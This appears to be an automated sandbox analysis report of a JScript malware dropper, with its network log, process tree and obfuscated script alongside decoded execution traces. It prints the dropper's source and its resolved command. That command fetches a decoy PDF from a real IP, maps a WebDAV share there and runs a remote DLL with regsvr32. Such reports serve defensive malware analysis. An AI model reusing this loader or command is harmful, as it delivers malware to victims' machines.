Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:08:12.749411106 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 21:08:13.555203915 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 20:08:13 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	15:08:06
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\296419801857622488.js"
Imagebase:	0x7ff76e880000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	15:08:06
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28693593723941.dll
Imagebase:	0x7ff7af890000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	15:08:06
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	15:08:06
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	15:08:11
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6e8200000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	15:08:11
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7af890000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	15:08:11
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6e7130000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	15:08:12
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	15:08:12
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	15:08:12
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2140 --field-trial-handle=1616,i,15871013987523686151,7360821968786260412,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function qjjqrrac() {	qjjqrrac() ➔ undefined
1	wpykaskx = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var uxflvi = this[bzlpmti + cyunawds + wmttfnpua + pbbaoymbj + owkcnp + matrfdfjt + mrszuaj + hcfzkgens] ( this[tzvkesml + xjjxcei + asgupur + wmttfnpua + xqweotl + bzlpmti + hcfzkgens][nktan + wmttfnpua + owkcnp + cyunawds + hcfzkgens + owkcnp + jgpep + bgxfsx + kzvkr + owkcnp + asgupur + hcfzkgens] ( tzvkesml + xjjxcei + asgupur + wmttfnpua + xqweotl + bzlpmti + hcfzkgens + hmgcilw + xjjxcei + mnjuu + owkcnp + mlqstq + mlqstq ) [ipotpz + owkcnp + lfxwyin + ipotpz + owkcnp + cyunawds + aeqngelgu] ( xlwlq + mvbjytvk + wcrub + pphsa + nngujsq + nktan + kihuhyqd + ipotpz + ipotpz + wcrub + akywjpbb + fknquqrx + nngujsq + kihuhyqd + xjjxcei + wcrub + ipotpz + sodmpa + nktan + erxrea + mrszuaj + hcfzkgens + wmttfnpua + erxrea + mlqstq + dotobmr + bcvbft + cyunawds + mrszuaj + owkcnp + mlqstq + sodmpa + matrfdfjt + mrszuaj + hcfzkgens + owkcnp + wmttfnpua + mrszuaj + cyunawds + hcfzkgens + xqweotl + erxrea + mrszuaj + cyunawds + mlqstq + sodmpa + zxdzrz + erxrea + asgupur + cyunawds + mlqstq + owkcnp ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( qoqtwropg = 0 ; qoqtwropg < wpykaskx[mlqstq + owkcnp + mrszuaj + lfxwyin + hcfzkgens + mnjuu] ; ++ qoqtwropg )
4	{
5	if ( uxflvi == wpykaskx[qoqtwropg] )
6	{
7	uxflvi = true;
8	break ;
9	}
10	}
11	if ( uxflvi !== true )
12	this[tzvkesml + xjjxcei + asgupur + wmttfnpua + xqweotl + bzlpmti + hcfzkgens][gvxpa + bhecj + xqweotl + hcfzkgens] ( );
13	this[tzvkesml + xjjxcei + asgupur + wmttfnpua + xqweotl + bzlpmti + hcfzkgens][nktan + wmttfnpua + owkcnp + cyunawds + hcfzkgens + owkcnp + jgpep + bgxfsx + kzvkr + owkcnp + asgupur + hcfzkgens] ( tzvkesml + xjjxcei + asgupur + wmttfnpua + xqweotl + bzlpmti + hcfzkgens + hmgcilw + xjjxcei + mnjuu + owkcnp + mlqstq + mlqstq ) [wmttfnpua + bhecj + mrszuaj] ( asgupur + gsykllrco + aeqngelgu + dotobmr + tabxi + asgupur + dotobmr + bzlpmti + erxrea + hbskvzjxr + owkcnp + wmttfnpua + pbbaoymbj + mnjuu + owkcnp + mlqstq + mlqstq + hmgcilw + owkcnp + mljoeo + owkcnp + dotobmr + iaflxmj + nktan + erxrea + gsykllrco + gsykllrco + cyunawds + mrszuaj + aeqngelgu + dotobmr + ulswe + matrfdfjt + mrszuaj + ncusgvg + erxrea + hmygj + owkcnp + iaflxmj + tzvkesml + owkcnp + bgxfsx + ipotpz + owkcnp + zibaovpe + bhecj + owkcnp + pbbaoymbj + hcfzkgens + dotobmr + iaflxmj + jgpep + bhecj + hcfzkgens + jqwfui + xqweotl + mlqstq + owkcnp + dotobmr + txinru + hcfzkgens + owkcnp + gsykllrco + bzlpmti + txinru + sodmpa + xqweotl + mrszuaj + ncusgvg + erxrea + xqweotl + asgupur + owkcnp + hmgcilw + bzlpmti + aeqngelgu + dcefvdel + dotobmr + mnjuu + hcfzkgens + hcfzkgens + bzlpmti + dhvzzfqvx + tabxi + tabxi + optlxgv + mtiujpyj + wbfstcfzh + hmgcilw + optlxgv + qqbswwv + wbfstcfzh + hmgcilw + optlxgv + hmgcilw + ljcreqwt + nbrfdg + opznhsy + tabxi + xqweotl + mrszuaj + ncusgvg + erxrea + xqweotl + asgupur + owkcnp + hmgcilw + bzlpmti + mnjuu + bzlpmti + ulswe + appaaaa + appaaaa + pbbaoymbj + hcfzkgens + cyunawds + wmttfnpua + hcfzkgens + dotobmr + txinru + hcfzkgens + owkcnp + gsykllrco + bzlpmti + txinru + sodmpa + xqweotl + mrszuaj + ncusgvg + erxrea + xqweotl + asgupur + owkcnp + hmgcilw + bzlpmti + aeqngelgu + dcefvdel + appaaaa + appaaaa + asgupur + gsykllrco + aeqngelgu + dotobmr + tabxi + asgupur + dotobmr + mrszuaj + owkcnp + hcfzkgens + dotobmr + bhecj + pbbaoymbj + owkcnp + dotobmr + sodmpa + sodmpa + optlxgv + mtiujpyj + wbfstcfzh + hmgcilw + optlxgv + qqbswwv + wbfstcfzh + hmgcilw + optlxgv + hmgcilw + ljcreqwt + nbrfdg + opznhsy + efcegsdat + imyhl + imyhl + imyhl + imyhl + sodmpa + aeqngelgu + cyunawds + ncusgvg + hbskvzjxr + hbskvzjxr + hbskvzjxr + wmttfnpua + erxrea + erxrea + hcfzkgens + sodmpa + appaaaa + appaaaa + asgupur + gsykllrco + aeqngelgu + dotobmr + tabxi + asgupur + dotobmr + wmttfnpua + owkcnp + lfxwyin + pbbaoymbj + ncusgvg + wmttfnpua + wbfstcfzh + ljcreqwt + dotobmr + tabxi + pbbaoymbj + dotobmr + sodmpa + sodmpa + optlxgv + mtiujpyj + wbfstcfzh + hmgcilw + optlxgv + qqbswwv + wbfstcfzh + hmgcilw + optlxgv + hmgcilw + ljcreqwt + nbrfdg + opznhsy + efcegsdat + imyhl + imyhl + imyhl + imyhl + sodmpa + aeqngelgu + cyunawds + ncusgvg + hbskvzjxr + hbskvzjxr + hbskvzjxr + wmttfnpua + erxrea + erxrea + hcfzkgens + sodmpa + ljcreqwt + imyhl + ktvgscz + mtiujpyj + wbfstcfzh + opznhsy + mtiujpyj + wbfstcfzh + syuai + ljcreqwt + wbfstcfzh + mtiujpyj + qqbswwv + optlxgv + hmgcilw + aeqngelgu + mlqstq + mlqstq, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28693593723941.dll",0,false) ➔ 0
14	}
15	fknquqrx = "y";
16	fknquqrx = "Q";
17	fknquqrx = "f";
18	fknquqrx = "f";
19	fknquqrx = "Y";
20	fknquqrx = "Q";
21	fknquqrx = "V";
22	fknquqrx = "H";
23	fknquqrx = "h";
24	fknquqrx = "N";
25	fknquqrx = "A";
26	fknquqrx = "L";
27	fknquqrx = "s";
28	fknquqrx = "K";
29	fknquqrx = "N";
30	fknquqrx = "K";
31	fknquqrx = "x";
32	fknquqrx = "R";
33	fknquqrx = "c";
34	fknquqrx = "A";
35	fknquqrx = "W";
36	fknquqrx = "U";
37	fknquqrx = "A";
38	fknquqrx = "X";
39	fknquqrx = "d";
40	fknquqrx = "f";
41	fknquqrx = "g";
42	fknquqrx = "g";
43	fknquqrx = "O";
44	fknquqrx = "q";
45	fknquqrx = "T";
46	dcefvdel = "w";
47	dcefvdel = "b";
48	dcefvdel = "F";
49	dcefvdel = "H";
50	dcefvdel = "Z";
51	dcefvdel = "K";
52	dcefvdel = "q";
53	dcefvdel = "w";
54	dcefvdel = "C";
55	dcefvdel = "R";
56	dcefvdel = "E";
57	dcefvdel = "V";
58	dcefvdel = "c";
59	dcefvdel = "b";
60	dcefvdel = "l";
61	dcefvdel = "T";
62	dcefvdel = "C";
63	dcefvdel = "S";
64	dcefvdel = "Y";
65	dcefvdel = "Z";
66	dcefvdel = "x";
67	dcefvdel = "j";
68	dcefvdel = "i";
69	dcefvdel = "v";
70	dcefvdel = "F";
71	dcefvdel = "A";
72	dcefvdel = "C";
73	dcefvdel = "L";
74	dcefvdel = "p";
75	dcefvdel = "D";
76	dcefvdel = "F";
77	dcefvdel = "Y";
78	dcefvdel = "I";
79	dcefvdel = "i";
80	dcefvdel = "W";
81	dcefvdel = "s";
82	dcefvdel = "W";
83	dcefvdel = "f";
84	efcegsdat = "K";
85	efcegsdat = "G";
86	efcegsdat = "@";
87	tabxi = "C";
88	tabxi = "a";
89	tabxi = "U";
90	tabxi = "A";
91	tabxi = "H";
92	tabxi = "V";
93	tabxi = "C";
94	tabxi = "h";
95	tabxi = "d";
96	tabxi = "o";
97	tabxi = "j";
98	tabxi = "r";
99	tabxi = "R";
100	tabxi = "M";
101	tabxi = "d";
102	tabxi = "W";
103	tabxi = "N";
104	tabxi = "d";
105	tabxi = "p";
106	tabxi = "p";
107	tabxi = "N";
108	tabxi = "C";
109	tabxi = "r";
110	tabxi = "W";
111	tabxi = "y";
112	tabxi = "H";
113	tabxi = "U";
114	tabxi = "L";
115	tabxi = "J";
116	tabxi = "M";
117	tabxi = "w";
118	tabxi = "H";
119	tabxi = "d";
120	tabxi = "/";
121	imyhl = "U";
122	imyhl = "H";
123	imyhl = "y";
124	imyhl = "p";
125	imyhl = "e";
126	imyhl = "A";
127	imyhl = "P";
128	imyhl = "y";
129	imyhl = "j";
130	imyhl = "g";
131	imyhl = "N";
132	imyhl = "F";
133	imyhl = "E";
134	imyhl = "x";
135	imyhl = "r";
136	imyhl = "W";
137	imyhl = "d";
138	imyhl = "H";
139	imyhl = "B";
140	imyhl = "m";
141	imyhl = "N";
142	imyhl = "M";
143	imyhl = "I";
144	imyhl = "r";
145	imyhl = "M";
146	imyhl = "m";
147	imyhl = "8";
148	zxdzrz = "m";
149	zxdzrz = "g";
150	zxdzrz = "H";
151	zxdzrz = "Q";
152	zxdzrz = "s";
153	zxdzrz = "w";
154	zxdzrz = "H";
155	zxdzrz = "t";
156	zxdzrz = "W";
157	zxdzrz = "p";
158	zxdzrz = "t";
159	zxdzrz = "C";
160	zxdzrz = "O";
161	zxdzrz = "S";
162	zxdzrz = "X";
163	zxdzrz = "u";
164	zxdzrz = "B";
165	zxdzrz = "S";
166	zxdzrz = "J";
167	zxdzrz = "k";
168	zxdzrz = "p";
169	zxdzrz = "Q";
170	zxdzrz = "Y";
171	zxdzrz = "V";
172	zxdzrz = "j";
173	zxdzrz = "v";
174	zxdzrz = "o";
175	zxdzrz = "M";
176	zxdzrz = "o";
177	zxdzrz = "x";
178	zxdzrz = "B";
179	zxdzrz = "L";
180	hmygj = "b";
181	hmygj = "I";
182	hmygj = "O";
183	hmygj = "z";
184	hmygj = "N";
185	hmygj = "s";
186	hmygj = "W";
187	hmygj = "K";
188	hmygj = "p";
189	hmygj = "M";
190	hmygj = "W";
191	hmygj = "k";
192	mrszuaj = "R";
193	mrszuaj = "P";
194	mrszuaj = "d";
195	mrszuaj = "k";
196	mrszuaj = "f";
197	mrszuaj = "E";
198	mrszuaj = "M";
199	mrszuaj = "I";
200	mrszuaj = "G";
201	mrszuaj = "n";
202	mrszuaj = "A";
203	mrszuaj = "z";
204	mrszuaj = "I";
205	mrszuaj = "K";
206	mrszuaj = "i";
207	mrszuaj = "I";
208	mrszuaj = "r";
209	mrszuaj = "b";
210	mrszuaj = "f";
211	mrszuaj = "U";
212	mrszuaj = "k";
213	mrszuaj = "N";
214	mrszuaj = "Q";
215	mrszuaj = "J";
216	mrszuaj = "M";
217	mrszuaj = "E";
218	mrszuaj = "V";
219	mrszuaj = "o";
220	mrszuaj = "A";
221	mrszuaj = "n";
222	mrszuaj = "X";
223	mrszuaj = "i";
224	mrszuaj = "s";
225	mrszuaj = "R";
226	mrszuaj = "N";
227	mrszuaj = "G";
228	mrszuaj = "K";
229	mrszuaj = "p";
230	mrszuaj = "F";
231	mrszuaj = "K";
232	mrszuaj = "H";
233	mrszuaj = "p";
234	mrszuaj = "n";
235	qqbswwv = "H";
236	qqbswwv = "C";
237	qqbswwv = "f";
238	qqbswwv = "i";
239	qqbswwv = "B";
240	qqbswwv = "w";
241	qqbswwv = "S";
242	qqbswwv = "n";
243	qqbswwv = "g";
244	qqbswwv = "a";
245	qqbswwv = "k";
246	qqbswwv = "Q";
247	qqbswwv = "A";
248	qqbswwv = "y";
249	qqbswwv = "y";
250	qqbswwv = "H";
251	qqbswwv = "u";
252	qqbswwv = "h";
253	qqbswwv = "L";
254	qqbswwv = "o";
255	qqbswwv = "R";
256	qqbswwv = "D";
257	qqbswwv = "D";
258	qqbswwv = "J";
259	qqbswwv = "m";
260	qqbswwv = "K";
261	qqbswwv = "e";
262	qqbswwv = "d";
263	qqbswwv = "l";
264	qqbswwv = "X";
265	qqbswwv = "c";
266	qqbswwv = "m";
267	qqbswwv = "K";
268	qqbswwv = "z";
269	qqbswwv = "O";
270	qqbswwv = "Z";
271	qqbswwv = "S";
272	qqbswwv = "i";
273	qqbswwv = "P";
274	qqbswwv = "Z";
275	qqbswwv = "E";
276	qqbswwv = "Q";
277	qqbswwv = "r";
278	qqbswwv = "4";
279	owkcnp = "V";
280	owkcnp = "J";
281	owkcnp = "C";
282	owkcnp = "q";
283	owkcnp = "q";
284	owkcnp = "N";
285	owkcnp = "k";
286	owkcnp = "k";
287	owkcnp = "O";
288	owkcnp = "r";
289	owkcnp = "H";
290	owkcnp = "t";
291	owkcnp = "y";
292	owkcnp = "A";
293	owkcnp = "g";
294	owkcnp = "j";
295	owkcnp = "T";
296	owkcnp = "p";
297	owkcnp = "F";
298	owkcnp = "M";
299	owkcnp = "Z";
300	owkcnp = "E";
301	owkcnp = "h";
302	owkcnp = "E";
303	owkcnp = "R";
304	owkcnp = "a";
305	owkcnp = "m";
306	owkcnp = "j";
307	owkcnp = "A";
308	owkcnp = "e";
309	syuai = "u";
310	syuai = "r";
311	syuai = "S";
312	syuai = "H";
313	syuai = "c";
314	syuai = "f";
315	syuai = "Q";
316	syuai = "Z";
317	syuai = "d";
318	syuai = "7";
319	wcrub = "m";
320	wcrub = "X";
321	wcrub = "O";
322	wcrub = "Z";
323	wcrub = "V";
324	wcrub = "O";
325	wcrub = "r";
326	wcrub = "E";
327	wcrub = "f";
328	wcrub = "F";
329	wcrub = "F";
330	wcrub = "E";
331	nngujsq = "P";
332	nngujsq = "x";
333	nngujsq = "M";
334	nngujsq = "Q";
335	nngujsq = "X";
336	nngujsq = "L";
337	nngujsq = "m";
338	nngujsq = "j";
339	nngujsq = "b";
340	nngujsq = "C";
341	nngujsq = "y";
342	nngujsq = "u";
343	nngujsq = "L";
344	nngujsq = "E";
345	nngujsq = "M";
346	nngujsq = "s";
347	nngujsq = "r";
348	nngujsq = "L";
349	nngujsq = "C";
350	nngujsq = "j";
351	nngujsq = "u";
352	nngujsq = "i";
353	nngujsq = "V";
354	nngujsq = "Z";
355	nngujsq = "P";
356	nngujsq = "n";
357	nngujsq = "v";
358	nngujsq = "e";
359	nngujsq = "P";
360	nngujsq = "D";
361	nngujsq = "_";
362	wmttfnpua = "b";
363	wmttfnpua = "B";
364	wmttfnpua = "f";
365	wmttfnpua = "S";
366	wmttfnpua = "U";
367	wmttfnpua = "p";
368	wmttfnpua = "f";
369	wmttfnpua = "J";
370	wmttfnpua = "R";
371	wmttfnpua = "U";
372	wmttfnpua = "z";
373	wmttfnpua = "w";
374	wmttfnpua = "T";
375	wmttfnpua = "O";
376	wmttfnpua = "j";
377	wmttfnpua = "L";
378	wmttfnpua = "i";
379	wmttfnpua = "F";
380	wmttfnpua = "d";
381	wmttfnpua = "T";
382	wmttfnpua = "E";
383	wmttfnpua = "U";
384	wmttfnpua = "d";
385	wmttfnpua = "v";
386	wmttfnpua = "k";
387	wmttfnpua = "W";
388	wmttfnpua = "y";
389	wmttfnpua = "W";
390	wmttfnpua = "l";
391	wmttfnpua = "u";
392	wmttfnpua = "o";
393	wmttfnpua = "r";
394	jgpep = "A";
395	jgpep = "n";
396	jgpep = "l";
397	jgpep = "V";
398	jgpep = "s";
399	jgpep = "F";
400	jgpep = "E";
401	jgpep = "z";
402	jgpep = "C";
403	jgpep = "Q";
404	jgpep = "R";
405	jgpep = "O";
406	jgpep = "A";
407	jgpep = "t";
408	jgpep = "B";
409	jgpep = "L";
410	jgpep = "w";
411	jgpep = "r";
412	jgpep = "b";
413	jgpep = "U";
414	jgpep = "z";
415	jgpep = "U";
416	jgpep = "q";
417	jgpep = "U";
418	jgpep = "V";
419	jgpep = "k";
420	jgpep = "Q";
421	jgpep = "o";
422	jgpep = "L";
423	jgpep = "s";
424	jgpep = "B";
425	jgpep = "v";
426	jgpep = "m";
427	jgpep = "i";
428	jgpep = "n";
429	jgpep = "o";
430	jgpep = "c";
431	jgpep = "y";
432	jgpep = "O";
433	optlxgv = "J";
434	optlxgv = "h";
435	optlxgv = "p";
436	optlxgv = "p";
437	optlxgv = "T";
438	optlxgv = "z";
439	optlxgv = "E";
440	optlxgv = "m";
441	optlxgv = "1";
442	ncusgvg = "H";
443	ncusgvg = "M";
444	ncusgvg = "Q";
445	ncusgvg = "M";
446	ncusgvg = "W";
447	ncusgvg = "o";
448	ncusgvg = "m";
449	ncusgvg = "F";
450	ncusgvg = "M";
451	ncusgvg = "O";
452	ncusgvg = "U";
453	ncusgvg = "m";
454	ncusgvg = "j";
455	ncusgvg = "m";
456	ncusgvg = "o";
457	ncusgvg = "h";
458	ncusgvg = "y";
459	ncusgvg = "j";
460	ncusgvg = "I";
461	ncusgvg = "Y";
462	ncusgvg = "Q";
463	ncusgvg = "q";
464	ncusgvg = "n";
465	ncusgvg = "c";
466	ncusgvg = "w";
467	ncusgvg = "v";
468	gsykllrco = "S";
469	gsykllrco = "W";
470	gsykllrco = "G";
471	gsykllrco = "J";
472	gsykllrco = "n";
473	gsykllrco = "M";
474	gsykllrco = "K";
475	gsykllrco = "y";
476	gsykllrco = "o";
477	gsykllrco = "E";
478	gsykllrco = "N";
479	gsykllrco = "X";
480	gsykllrco = "o";
481	gsykllrco = "J";
482	gsykllrco = "E";
483	gsykllrco = "e";
484	gsykllrco = "h";
485	gsykllrco = "F";
486	gsykllrco = "x";
487	gsykllrco = "a";
488	gsykllrco = "N";
489	gsykllrco = "e";
490	gsykllrco = "K";
491	gsykllrco = "c";
492	gsykllrco = "z";
493	gsykllrco = "u";
494	gsykllrco = "y";
495	gsykllrco = "U";
496	gsykllrco = "m";
497	nktan = "H";
498	nktan = "M";
499	nktan = "H";
500	nktan = "G";
501	nktan = "l";
502	nktan = "K";
503	nktan = "Q";
504	nktan = "C";
505	mljoeo = "m";
506	mljoeo = "e";
507	mljoeo = "q";
508	mljoeo = "e";
509	mljoeo = "s";
510	mljoeo = "Z";
511	mljoeo = "c";
512	mljoeo = "k";
513	mljoeo = "C";
514	mljoeo = "t";
515	mljoeo = "x";
516	txinru = "%";
517	jqwfui = "f";
518	jqwfui = "o";
519	jqwfui = "z";
520	jqwfui = "a";
521	jqwfui = "k";
522	jqwfui = "K";
523	jqwfui = "k";
524	jqwfui = "U";
525	jqwfui = "q";
526	jqwfui = "C";
527	jqwfui = "P";
528	jqwfui = "w";
529	jqwfui = "p";
530	jqwfui = "B";
531	jqwfui = "D";
532	jqwfui = "g";
533	jqwfui = "g";
534	jqwfui = "V";
535	jqwfui = "P";
536	jqwfui = "F";
537	jqwfui = "A";
538	jqwfui = "k";
539	jqwfui = "r";
540	jqwfui = "O";
541	jqwfui = "I";
542	jqwfui = "a";
543	jqwfui = "F";
544	wbfstcfzh = "T";
545	wbfstcfzh = "O";
546	wbfstcfzh = "M";
547	wbfstcfzh = "Z";
548	wbfstcfzh = "a";
549	wbfstcfzh = "w";
550	wbfstcfzh = "f";
551	wbfstcfzh = "x";
552	wbfstcfzh = "B";
553	wbfstcfzh = "e";
554	wbfstcfzh = "v";
555	wbfstcfzh = "v";
556	wbfstcfzh = "N";
557	wbfstcfzh = "f";
558	wbfstcfzh = "N";
559	wbfstcfzh = "w";
560	wbfstcfzh = "a";
561	wbfstcfzh = "U";
562	wbfstcfzh = "i";
563	wbfstcfzh = "Q";
564	wbfstcfzh = "H";
565	wbfstcfzh = "F";
566	wbfstcfzh = "S";
567	wbfstcfzh = "M";
568	wbfstcfzh = "r";
569	wbfstcfzh = "o";
570	wbfstcfzh = "Z";
571	wbfstcfzh = "f";
572	wbfstcfzh = "d";
573	wbfstcfzh = "t";
574	wbfstcfzh = "O";
575	wbfstcfzh = "J";
576	wbfstcfzh = "R";
577	wbfstcfzh = "Q";
578	wbfstcfzh = "3";
579	erxrea = "w";
580	erxrea = "T";
581	erxrea = "B";
582	erxrea = "O";
583	erxrea = "o";
584	erxrea = "N";
585	erxrea = "C";
586	erxrea = "Z";
587	erxrea = "i";
588	erxrea = "b";
589	erxrea = "y";
590	erxrea = "s";
591	erxrea = "R";
592	erxrea = "R";
593	erxrea = "o";
594	kzvkr = "j";
595	kzvkr = "W";
596	kzvkr = "J";
597	kzvkr = "S";
598	kzvkr = "n";
599	kzvkr = "d";
600	kzvkr = "c";
601	kzvkr = "d";
602	kzvkr = "L";
603	kzvkr = "N";
604	kzvkr = "T";
605	kzvkr = "h";
606	kzvkr = "u";
607	kzvkr = "O";
608	kzvkr = "Y";
609	kzvkr = "N";
610	kzvkr = "X";
611	kzvkr = "U";
612	kzvkr = "S";
613	kzvkr = "e";
614	kzvkr = "c";
615	kzvkr = "u";
616	kzvkr = "M";
617	kzvkr = "t";
618	kzvkr = "W";
619	kzvkr = "s";
620	kzvkr = "b";
621	kzvkr = "V";
622	kzvkr = "p";
623	kzvkr = "E";
624	kzvkr = "E";
625	kzvkr = "s";
626	kzvkr = "G";
627	kzvkr = "j";
628	xjjxcei = "m";
629	xjjxcei = "F";
630	xjjxcei = "n";
631	xjjxcei = "p";
632	xjjxcei = "k";
633	xjjxcei = "s";
634	xjjxcei = "n";
635	xjjxcei = "l";
636	xjjxcei = "v";
637	xjjxcei = "d";
638	xjjxcei = "c";
639	xjjxcei = "I";
640	xjjxcei = "n";
641	xjjxcei = "a";
642	xjjxcei = "U";
643	xjjxcei = "b";
644	xjjxcei = "t";
645	xjjxcei = "m";
646	xjjxcei = "s";
647	xjjxcei = "a";
648	xjjxcei = "r";
649	xjjxcei = "t";
650	xjjxcei = "s";
651	xjjxcei = "z";
652	xjjxcei = "R";
653	xjjxcei = "m";
654	xjjxcei = "t";
655	xjjxcei = "b";
656	xjjxcei = "c";
657	xjjxcei = "Z";
658	xjjxcei = "q";
659	xjjxcei = "l";
660	xjjxcei = "W";
661	xjjxcei = "n";
662	xjjxcei = "w";
663	xjjxcei = "S";
664	nbrfdg = "O";
665	nbrfdg = "w";
666	nbrfdg = "c";
667	nbrfdg = "h";
668	nbrfdg = "E";
669	nbrfdg = "E";
670	nbrfdg = "t";
671	nbrfdg = "H";
672	nbrfdg = "U";
673	nbrfdg = "h";
674	nbrfdg = "x";
675	nbrfdg = "l";
676	nbrfdg = "n";
677	nbrfdg = "0";
678	lfxwyin = "Y";
679	lfxwyin = "g";
680	ljcreqwt = "v";
681	ljcreqwt = "o";
682	ljcreqwt = "F";
683	ljcreqwt = "t";
684	ljcreqwt = "r";
685	ljcreqwt = "L";
686	ljcreqwt = "o";
687	ljcreqwt = "2";
688	dotobmr = "w";
689	dotobmr = "T";
690	dotobmr = "N";
691	dotobmr = "a";
692	dotobmr = "M";
693	dotobmr = "q";
694	dotobmr = "G";
695	dotobmr = "J";
696	dotobmr = "S";
697	dotobmr = "g";
698	dotobmr = "K";
